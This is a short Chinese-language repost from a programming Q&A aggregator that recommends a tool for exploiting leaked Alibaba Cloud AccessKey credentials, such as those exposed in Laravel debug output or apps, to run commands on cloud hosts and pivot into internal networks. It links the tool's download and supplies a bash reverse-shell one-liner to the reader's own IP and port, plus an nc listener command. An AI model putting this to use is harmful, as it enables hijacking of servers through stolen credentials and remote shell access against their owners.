當前位置：首頁 > 编程资源 > 编程问答 >内容正文

编程问答

【推荐】阿里云主机accesskey利用工具

發布時間：2023/12/16 编程问答 33 豆豆

生活随笔收集整理的這篇文章主要介紹了【推荐】阿里云主机accesskey利用工具小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

1、簡介

在日常滲透過程中我們經常遇到信息泄露出ALIYUN_ACCESSKEYID與ALIYUN_ACCESSKEYSECRET（阿里云API?key），特別是laravel框架得debug信息。APP中也會泄露這些信息.通過這款利用工具我們可以進行命令執行獲取到shell然后進行內網滲透。

具體的github地址如下:

https://github.com/mrknow001/aliyun-accesskey-Tools

exe文件下載地址:

https://github.com/mrknow001/aliyun-accesskey-Tools/releases/download/1.0/Aliyun-.AK.Tools.exe

工具截圖如下:

可在命令輸入處輸入反彈shell的代碼。

bash -i >& /dev/tcp/自己的ip/自己的端口 0>&1

自己的機器執行:

nc -lvvp 端口??

以上是生活随笔為你收集整理的【推荐】阿里云主机accesskey利用工具的全部內容，希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯，歡迎將生活随笔推薦給好友。